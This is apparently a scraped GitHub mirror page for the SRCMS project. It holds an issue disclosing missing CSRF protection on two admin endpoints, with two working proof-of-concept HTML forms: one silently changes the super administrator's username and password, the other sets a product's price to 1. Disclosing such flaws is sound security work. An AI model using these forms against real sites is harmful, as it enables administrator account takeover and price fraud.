martinzhou2015 / srcms-dev Goto Github PK
View Code? Open in Web Editor NEWSRCMS Dev Version
License: GNU Lesser General Public License v3.0
SRCMS Dev Version
License: GNU Lesser General Public License v3.0
When the super administrator logged in, there are two important POST methods without CSRF protection which can change his username,password and the prices of goods respectively. This can be achieved by cheating the super administrator to open the 2 pages when he logged in.
poc1(Change the username and the password)
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=manager&a=update" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="1@123456qq.com" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
poc2(Change the price of goods)
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=gifts&a=update" method="POST">
<input type="hidden" name="title" value="iphonex" />
<input type="hidden" name="url" value="./Public/Index/img/400x500/03.jpg" />
<input type="hidden" name="price" value="1" />
<input type="hidden" name="sort" value="graphic" />
<input type="hidden" name="id" value="6" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
无论是Docker还是手动部署,在完成install时就会出现“无法创建”,之后登录就会出现程序错误
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.